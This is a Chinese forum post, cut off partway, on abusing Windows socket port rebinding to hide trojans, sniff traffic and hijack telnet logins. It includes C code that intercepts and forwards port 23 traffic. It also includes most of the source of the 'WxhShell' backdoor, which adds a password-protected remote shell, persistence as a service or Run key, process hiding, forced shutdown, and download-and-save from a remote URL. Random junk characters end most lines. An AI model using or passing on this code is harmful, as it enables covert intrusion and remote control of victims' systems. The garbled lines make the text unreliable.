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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !q2zuxq!R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =\O#F88ui  
e'K~WNT  
  saddr.sin_family = AF_INET; ,m=G9QcN  
EB[T 5{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N(7 XILC  
Z\nDR|3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A9.TRKb=8  
^O_Z5NbC3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 spV7\Gs.@  
msmW2Zc  
  这意味着什么?意味着可以进行如下的攻击: 3=.YQE0!dx  
mXRkR.zu+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9lb?%UFe  
1,fR kQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r^~+ <"  
6$R9Y.s>Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 = -2~>B  
<,M"kF:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M`cxxDj&j  
g$K\rA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5s[nE\oaG  
i(j/C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]{1{XIF  
`MU~N_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $,}jz.R@  
R(wUu#n$  
  #include OXEEpoU?V  
  #include ^lHy)!&A  
  #include <o%T]  
  #include    t8*Jdd^3Z/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UGO#o`.G}  
  int main() 8gS7$ EH'  
  { >of34C"DI  
  WORD wVersionRequested; zgwez$  
  DWORD ret; LCB-ewy#E  
  WSADATA wsaData; %hVR|K|J  
  BOOL val; &*v\t\]  
  SOCKADDR_IN saddr; DG;7+2U  
  SOCKADDR_IN scaddr; 296}LW  
  int err; '`2KLO>!  
  SOCKET s; A8m06  
  SOCKET sc; #LasTN9  
  int caddsize; ,Pa*; o\  
  HANDLE mt; "/'3I/}  
  DWORD tid;   `==l 2AX  
  wVersionRequested = MAKEWORD( 2, 2 ); Cy;UyZ  
  err = WSAStartup( wVersionRequested, &wsaData ); ;XN|dq  
  if ( err != 0 ) { dbby.%  
  printf("error!WSAStartup failed!\n"); {M**a  
  return -1; KwL_ae6fV  
  } zy,SL |6:  
  saddr.sin_family = AF_INET; [M\ an6h6O  
   0i*V?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;u<Ah?w=Z  
|&#N&t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^FLs_=E  
  saddr.sin_port = htons(23); 4LTm&+(5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~IhM(Q*mO!  
  { p{w-  
  printf("error!socket failed!\n"); 9B0ON*`  
  return -1; 7a"06Et^  
  } 1B;2 ~2X  
  val = TRUE; dxX`\{E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .iy4 (P4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qZd*'ki<  
  { r!Eh}0bL  
  printf("error!setsockopt failed!\n"); u9"=t  
  return -1; ~q ^o|?  
  } l'"nU6B&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m'"r<]pB*4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qX@e+&4P0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 91]|4k93  
Tx.N#,T|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) EVPQe-  
  { <\#'o}  
  ret=GetLastError(); 'gf[Wjb,%  
  printf("error!bind failed!\n"); W![K#r5T  
  return -1; [.}qi[=n  
  } KqG b+N-@  
  listen(s,2); 2d .$V,U<  
  while(1) On*I.~  
  { (  cs  
  caddsize = sizeof(scaddr); "-&K!Vfs  
  //接受连接请求 0"R>:f}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Qf~>5(,h  
  if(sc!=INVALID_SOCKET) aF 2vgE\  
  { dL0Q8d\^T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;oOTL'Vu  
  if(mt==NULL) 0b{jox\!B  
  { ,iyy2  
  printf("Thread Creat Failed!\n"); 0f@+o}i=)  
  break; :M"+  
  } . Vb|le(7  
  } F+hV'{|w`  
  CloseHandle(mt); G=cRdiy`C  
  } pq) =  
  closesocket(s); TanWCt4r  
  WSACleanup(); j#//U2VdN  
  return 0; %tVU Rj  
  }   HgY@M  
  DWORD WINAPI ClientThread(LPVOID lpParam) DSLX/u o1  
  { 2PQBUq  
  SOCKET ss = (SOCKET)lpParam; 7z;2J;u`n  
  SOCKET sc; `Q*`\-8J  
  unsigned char buf[4096]; ClKWf\(ii6  
  SOCKADDR_IN saddr; -9dZT  
  long num; O!"K'Bm  
  DWORD val; ^Gd1 T  
  DWORD ret; >>{):r Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y[i}iT/~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PlB3"{}0Q  
  saddr.sin_family = AF_INET; AOg'4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XCI  
  saddr.sin_port = htons(23); .eN"s'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h ;uzbu  
  { )|=1;L  
  printf("error!socket failed!\n"); F${sEtH  
  return -1; xo@1((|z  
  } 2Z{?3mAb;  
  val = 100; bD,21,*z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g"/n95k<  
  { /H<{p$Wd  
  ret = GetLastError(); U '{PpZ  
  return -1; PY.HZ/#d  
  } /kGWd9ujF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YIk@{V  
  { RJ?)O#}  
  ret = GetLastError(); %X_A#9  
  return -1; mPA)G,^  
  } $'\kK,=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jsAx;Z:QT  
  { [7><^?t V  
  printf("error!socket connect failed!\n"); yq.@-]ytZ  
  closesocket(sc); 2(d  
  closesocket(ss); QP(d77 n  
  return -1; |r+ x/,2-  
  } c7+6[y DVE  
  while(1) L$Z!  
  { B}04E^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V~PGmn[V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jIaaNO)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ">7xSWR*4  
  num = recv(ss,buf,4096,0); UG.:D';3,  
  if(num>0) E0qJ.v  
  send(sc,buf,num,0); /'8%=$2Kw  
  else if(num==0) ~xG/yPl  
  break; w&IYCYK_  
  num = recv(sc,buf,4096,0); Dh^l :q+c  
  if(num>0) Jm , :6T  
  send(ss,buf,num,0); Y1lUO[F j  
  else if(num==0) $/^Y(0  
  break; Vw ;iE=L  
  } {#+K+!SvDX  
  closesocket(ss); !43nL[]  
  closesocket(sc); g Nz  
  return 0 ; 6\l F  
  } ]|F`;}7  
!ldE9 .  
ecm+33C  
========================================================== pKXSJ"Xo  
)Fd)YJVR  
下边附上一个代码,,WXhSHELL &=t~_ Dc  
@j\;9>I/  
========================================================== n jd2  
&K!0yR  
#include "stdafx.h" 5[\g87 \  
g&RhPrtl  
#include <stdio.h> <O) if^  
#include <string.h> 8;~,jZ s  
#include <windows.h> 8Ud.t =2  
#include <winsock2.h> oTk\r$4eb  
#include <winsvc.h> ,PpVZq~  
#include <urlmon.h> Y".?j5f?  
D7R;IA-w  
#pragma comment (lib, "Ws2_32.lib") pV<K=;:x>  
#pragma comment (lib, "urlmon.lib") bPV}T`  
!]"M]tyv\  
#define MAX_USER   100 // 最大客户端连接数 _0[s]  
#define BUF_SOCK   200 // sock buffer kK/>,Eg  
#define KEY_BUFF   255 // 输入 buffer Lniz>gSc  
;U0w<>4L  
#define REBOOT     0   // 重启 J}Z\I Y,  
#define SHUTDOWN   1   // 关机 0XE6H w  
JWu0VLo  
#define DEF_PORT   5000 // 监听端口 Y)8 Py1}  
XR=ebl  
#define REG_LEN     16   // 注册表键长度 %N\45nYU:  
#define SVC_LEN     80   // NT服务名长度 !*^+7M  
e}gGl<((g  
// 从dll定义API O&CY9 2)Lk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); REc90v2"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Aa-OMo;~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gf7r!Ur;g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oeVI 6-_S  
0<-A2O),  
// wxhshell配置信息 |p/[sD+M  
struct WSCFG { $XyDw|z[  
  int ws_port;         // 监听端口 %7[d5[U~ZA  
  char ws_passstr[REG_LEN]; // 口令 {o'(_.{  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]q #"8 =  
  char ws_regname[REG_LEN]; // 注册表键名 m{*_%tjN0  
  char ws_svcname[REG_LEN]; // 服务名 3kr. 'O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UM1h[#?&V)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d|tNn@jN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 | v>W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N#OO{`":Z`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $W;r S7b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c8l\1ce?7  
laCVj6Rk  
}; Zz|et206  
tR=1.M96Y  
// default Wxhshell configuration Ux);~P`/o  
struct WSCFG wscfg={DEF_PORT, J"eE9FLM  
    "xuhuanlingzhe",  fsKZ  
    1, tTq2 AR|  
    "Wxhshell", H8Ra!FW@  
    "Wxhshell", {- &wV  
            "WxhShell Service", 74A&#ecb{  
    "Wrsky Windows CmdShell Service", Y,KSr|vG  
    "Please Input Your Password: ", /GP:W6:6z6  
  1, /u'V>=D;f  
  "http://www.wrsky.com/wxhshell.exe", cW{Bsr   
  "Wxhshell.exe" a{I(Qh!}  
    }; p1s& y0:d  
wx/*un%2  
// 消息定义模块 aH$DEs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e&pt[W}X%u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H"JzTo8u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9Kc;]2m  
char *msg_ws_ext="\n\rExit."; (Ixmg=C6y  
char *msg_ws_end="\n\rQuit."; ,Igd<A=  
char *msg_ws_boot="\n\rReboot..."; z}$!B.)  
char *msg_ws_poff="\n\rShutdown..."; 4n\O6$&.x  
char *msg_ws_down="\n\rSave to "; 8(@(G_skp  
=6, w~|W  
char *msg_ws_err="\n\rErr!"; DoEN`K\U  
char *msg_ws_ok="\n\rOK!"; Cm6%wAzC  
M;X}v#l|XI  
char ExeFile[MAX_PATH]; VPDd*32HC  
int nUser = 0; G/Yqvu,2!  
HANDLE handles[MAX_USER]; # i|pi'I j  
int OsIsNt; .gwT?O,  
om0g'Qa  
SERVICE_STATUS       serviceStatus; OYIH**?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H3 |x  
w2]]##J  
// 函数声明 Kb#Z(C9  
int Install(void); csv;u'  
int Uninstall(void); O1z3(  
int DownloadFile(char *sURL, SOCKET wsh); $gcC}tX  
int Boot(int flag); Hc-68]T  
void HideProc(void); RZ9chTX/  
int GetOsVer(void); \avgXndI  
int Wxhshell(SOCKET wsl); C1(0jUz  
void TalkWithClient(void *cs); J+nUxF;EE  
int CmdShell(SOCKET sock); y}> bJ:  
int StartFromService(void); x)2ZbIDB:"  
int StartWxhshell(LPSTR lpCmdLine); MM/D5g  
sTzt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ";/,FUJJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k 3 oR:  
;LFs.Jc<  
// 数据结构和表定义 7,D6RP(b  
SERVICE_TABLE_ENTRY DispatchTable[] = >KCnmi  
{ FJ V!B&  
{wscfg.ws_svcname, NTServiceMain}, }woNI  
{NULL, NULL} 5l /EZ\q  
}; oAq<ag\qV  
@O&;%IZMY  
// 自我安装 G+W0X  
int Install(void) "D/\&1.&  
{ sxn^1|O;m  
  char svExeFile[MAX_PATH]; qa)Qf,`  
  HKEY key; 9d >AnTf&H  
  strcpy(svExeFile,ExeFile); :LMLY<8>9  
6+_qGV  
// 如果是win9x系统,修改注册表设为自启动 \oV g(J&o  
if(!OsIsNt) { CW;=q[+w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hT$/B|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CoQ<Ky}*  
  RegCloseKey(key); .hytn`+9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F */J`l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =bl6:  
  RegCloseKey(key); &6#Ft]6~  
  return 0; eQ eucmQd{  
    } 4X:S#z  
  } KIHr%  
} ^@AIXBe  
else { 8al%F_r]  
0X4%Ccs  
// 如果是NT以上系统,安装为系统服务 [<A|\d'x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2VA mL7)  
if (schSCManager!=0) Jhr3[A  
{ DH{^9HK  
  SC_HANDLE schService = CreateService ycSC'R  
  ( g/e2t=qP  
  schSCManager, ]='zY3  
  wscfg.ws_svcname, D eM/B5qw  
  wscfg.ws_svcdisp, %Ig3udcY?  
  SERVICE_ALL_ACCESS, IO]%AL(.;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ` @Tl7I\  
  SERVICE_AUTO_START,  ,7w[r<7  
  SERVICE_ERROR_NORMAL, m?pm)w  
  svExeFile, <aGfQg|554  
  NULL, _|vY)4B 4U  
  NULL, je^=gnq  
  NULL, $Z{Xt*  
  NULL, 2<8JY4]!]  
  NULL ' lMPI@C6r  
  ); `\5u/i'Ca!  
  if (schService!=0) ?*2Uw{~}  
  { zDx*R3%  
  CloseServiceHandle(schService); H m Z*  
  CloseServiceHandle(schSCManager); QcG-/_,'}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }2~$"L,_  
  strcat(svExeFile,wscfg.ws_svcname); 7C@%1kL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "3X~BdH&J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KO5! (vi@  
  RegCloseKey(key); 3zuYN-;  
  return 0; jK9#. 0  
    }  hNF.  
  } kB $?A8Olu  
  CloseServiceHandle(schSCManager); &3%V%_  
} MY" 8!  
} eg Zb)pP  
4vbtB2  
return 1; G [$u`mxV^  
} Bi$nYV)-l  
G[M{TS3&Ds  
// 自我卸载 2 rx``,7Q  
int Uninstall(void) [|"{a  
{ `c%{M4bF\  
  HKEY key; x|`o7.  
xN=:*#Z"pb  
if(!OsIsNt) { [$AOu0J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bAZ x*qE=  
  RegDeleteValue(key,wscfg.ws_regname); !,zRg5Wp4  
  RegCloseKey(key); TW5Pt{X= f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N9=1<{Z  
  RegDeleteValue(key,wscfg.ws_regname); kcN#g- 0  
  RegCloseKey(key); v3/l= e?u  
  return 0; TG@ W:>N(  
  } 2UJjYrm  
} )7}f .  
} Y$&+2w,)H,  
else { s(MLBV5)w  
3}9c0%}F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o/5loV3h  
if (schSCManager!=0) 1&Ruz[F5  
{ l0-zu6i w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aokV'6  
  if (schService!=0) .P5OUK  
  { 1aBQ.-E-  
  if(DeleteService(schService)!=0) { P!K;`4Ika  
  CloseServiceHandle(schService); mKN#dmw6  
  CloseServiceHandle(schSCManager); IMtfi(Y%F  
  return 0; N497"H</  
  } 0G}]d17ho  
  CloseServiceHandle(schService); m6 @,J?X  
  } (Ceq@eAlT  
  CloseServiceHandle(schSCManager); 5w$\x+no  
} &h_do8R  
} CZ4Nw]dtR  
O{w'i|  
return 1; |\k,qVQ  
} .qGfLvx%  
(&^k''f  
// 从指定url下载文件 Xah-*]ET  
int DownloadFile(char *sURL, SOCKET wsh) ^a{cK  
{ ,ctm;T1H+  
  HRESULT hr; ZxvBo4>tH  
char seps[]= "/"; xR`M#d5"  
char *token; `#x}-A$  
char *file; .qAlPe L:  
char myURL[MAX_PATH]; 3:~ *cU  
char myFILE[MAX_PATH]; #$;i 4a  
)E>nr Z  
strcpy(myURL,sURL); %|\Af>o4d  
  token=strtok(myURL,seps); 49d02AU%  
  while(token!=NULL) l`k""f69W  
  { Bt[Wh@  
    file=token; $-ICTp  
  token=strtok(NULL,seps); *iwV B^^$  
  } NL} Q3Vv1.  
wJ Qm7n-+  
GetCurrentDirectory(MAX_PATH,myFILE); N&jHU+{OU  
strcat(myFILE, "\\"); SQ0?M\D7  
strcat(myFILE, file); N6UPD11}6  
  send(wsh,myFILE,strlen(myFILE),0); +pG[ [}/  
send(wsh,"...",3,0); :HW\awv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B57MzIZi]  
  if(hr==S_OK) kX)QHNzP  
return 0; lGZf_X)gA^  
else G%FLt[  
return 1; |zCT~#  
#Bo3 :B8  
} Yx3ivjX.>  
U6x$R O!  
// 系统电源模块 %ZbdWHO#  
int Boot(int flag) XT` 2Z=  
{ $rV4JROb  
  HANDLE hToken; tRu j}n+x  
  TOKEN_PRIVILEGES tkp; 2m{d>  
 hSgH;k  
  if(OsIsNt) { YU,fx<c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hzc5BC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ec3zoKtV  
    tkp.PrivilegeCount = 1; Gr8%%]1!0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J|=0 :G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tTE]j-uT  
if(flag==REBOOT) { LTWiCI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d\-v+'d*+  
  return 0; x^~@`]TV^  
} U+-R2w]#q_  
else { 8Ao-m38  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K3xt,g  
  return 0; \]|(w*C  
} ^@HWw@GA  
  } 6]NaP_\0  
  else { )K!!Zq3;|  
if(flag==REBOOT) { Zdy{e|-Zn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '_B;e=v`  
  return 0; M REB  
} )<(3 .M  
else { \OE,(9T2P.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ac%x\e$  
  return 0; aJLc&o 8Yg  
} PS$g *x  
} S{jm4LZ  
^;'FC vd  
return 1; 66{Dyn7J~  
} 4 z^7T  
BG_6$9y  
// win9x进程隐藏模块 Nnq r{ub  
void HideProc(void) e/b | sl  
{ a"m-&mN  
I<qG{PA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sL)7MtNwy  
  if ( hKernel != NULL ) _0o65?F  
  { 2(k m]H^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KEjMxOv1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U;#G $  
    FreeLibrary(hKernel);  PckAL  
  } Ys]cJ]  
wufQyT`  
return; v;#0h7qd  
} C:.>*;?7  
gjzU%{T ?  
// 获取操作系统版本 M44$E4a20  
int GetOsVer(void) DfX~}km  
{ e"|ZTg+U  
  OSVERSIONINFO winfo; V;"Rp-`^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X*M2 O%g`L  
  GetVersionEx(&winfo); -s^)HR l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "~q~)T1Z  
  return 1; e_}tK1XY  
  else T0N6k acl  
  return 0; O~|Y#T  
} <B!DwMk;.  
a5pXn v]A  
// 客户端句柄模块 kAs=5_?I  
int Wxhshell(SOCKET wsl) j>G|Xv  
{ Ro=dgQ0:t  
  SOCKET wsh; ~9#'s'  
  struct sockaddr_in client; "sT)<Wc  
  DWORD myID; "A0y&^4B@  
dEkAU H  
  while(nUser<MAX_USER) 9\uBX.]x  
{ _<'?s>(U'  
  int nSize=sizeof(client); UkcH+0o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (9b%'@A@m  
  if(wsh==INVALID_SOCKET) return 1; 6?a z  
O*%5P5'p"{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rdsZ[ii  
if(handles[nUser]==0) :i|Bz6Ht4  
  closesocket(wsh); e ^ZY  
else F`1J&S;C  
  nUser++; }*S`1IWMj  
  } iU~xb ?,,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7rG+)kHG  
-/Zy{2 <u  
  return 0; q2s=>J';  
} 1jE {]/Y7&  
'F3@Xh  
// 关闭 socket DVf}='en8  
void CloseIt(SOCKET wsh) D=K{(0{"/,  
{ E{}J-_oS45  
closesocket(wsh); 8#[2]1X^8  
nUser--; pu_?) U  
ExitThread(0); gf}*}8D  
} ZQn>+c2%!  
6Hfv'X5E`Z  
// 客户端请求句柄 y}?PyPz  
void TalkWithClient(void *cs) TpI8mDO\W  
{ Yhjv[9  
(EjlnG}5l  
  SOCKET wsh=(SOCKET)cs; ,3!TyQ \m'  
  char pwd[SVC_LEN]; ]wfY<Z  
  char cmd[KEY_BUFF]; Qg0%r bE  
char chr[1]; 3i\Np =  
int i,j; ;j qF:Wl@  
&[SFl{fx>-  
  while (nUser < MAX_USER) { P4.)kK.3q|  
4iZg2"[D  
if(wscfg.ws_passstr) { RJKi98xwJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *rB@[ (/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PHJHW#sv  
  //ZeroMemory(pwd,KEY_BUFF); w`fbUh6/  
      i=0; IusZYB  
  while(i<SVC_LEN) { 'z{|#zd9  
%dzO*/8cWo  
  // 设置超时 j-VwY/X  
  fd_set FdRead; h<bhH=6~  
  struct timeval TimeOut; KW3<5+w]c  
  FD_ZERO(&FdRead); j"fx|6l)  
  FD_SET(wsh,&FdRead); 9JX@c k  
  TimeOut.tv_sec=8; %3AE2"  
  TimeOut.tv_usec=0; !%$,S=_F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;?q}98-2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jatlv/,  
mSvSdKKKlI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  \m+=|  
  pwd=chr[0]; +-9-%O.(;  
  if(chr[0]==0xd || chr[0]==0xa) { dQ _4aO  
  pwd=0; 6 EfBz  
  break; o!U(=:*b  
  } (h@!_qi9:  
  i++; vVIN D  
    } o|q5eUh=EY  
gs=ok8w  
  // 如果是非法用户,关闭 socket T>7N "C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nK)1.KVN  
} l9OpaOVfJ  
LI&E.(:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;#S]mso1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [\Nmm4  
G 9 (*F  
while(1) { ~WORC\kCW  
WPAUY<6f  
  ZeroMemory(cmd,KEY_BUFF); MkjB4:"  
*uf)t,%  
      // 自动支持客户端 telnet标准   ULBEe@ s  
  j=0; q5JQx**g  
  while(j<KEY_BUFF) { )UpVGT)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j@^zK!mO  
  cmd[j]=chr[0]; L N.:>,  
  if(chr[0]==0xa || chr[0]==0xd) { VzIZT{  
  cmd[j]=0; !8T04988j  
  break; %<+uJ'pj  
  } pL} F{G.  
  j++; 6R^32VeK($  
    } ^Ifm1$X}  
4o;;'P   
  // 下载文件 H&%oHyK  
  if(strstr(cmd,"http://")) { u\= 05N6G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mis B&Ok`k  
  if(DownloadFile(cmd,wsh)) KdYR?rY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Phsh  
  else ,c$tKj5ulQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }*}F_Y+  
  } &JKQH  
  else { R@s|bs?  
@mv G=:k  
    switch(cmd[0]) { CGlEc  
  7FyE?  
  // 帮助 9-q> W  
  case '?': { Ok@`<6v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OFmHj]I7=  
    break; #NGtba  
  } !G\gqkSL  
  // 安装 mSYm18   
  case 'i': { 3 yb]d5:U  
    if(Install()) Ii5U) "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ef&8L  
    else 8#tuB8>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }uC]o@/  
    break; [>pBz3fn,  
    } "*j8G8  
  // 卸载 lw}7kp4 2F  
  case 'r': { 94dd )/a  
    if(Uninstall()) ~|Ln9f-g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cF=WhP*f  
    else (3D&GY!/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /5"T46jD  
    break; _F`JFMS  
    } R) dP=W*  
  // 显示 wxhshell 所在路径 ~$C<^?"b  
  case 'p': { %xG<hNw/  
    char svExeFile[MAX_PATH]; t2OBVzK  
    strcpy(svExeFile,"\n\r"); 1P1h);*Z  
      strcat(svExeFile,ExeFile); p4k}B. f  
        send(wsh,svExeFile,strlen(svExeFile),0); Sew*0S(  
    break; 0L8fpGJ  
    } "M-';;  
  // 重启 #\}FQl6  
  case 'b': { ){#INmsF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X0^@E   
    if(Boot(REBOOT)) y9R%%i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w|S b`eR  
    else { ~&RrlFh  
    closesocket(wsh); \<`oW>  
    ExitThread(0); : 7"Q  
    } o8<~zeI  
    break; qWWt5rJ  
    } siCm)B  
  // 关机 }i^|.VZZ  
  case 'd': { $.d,>F6  
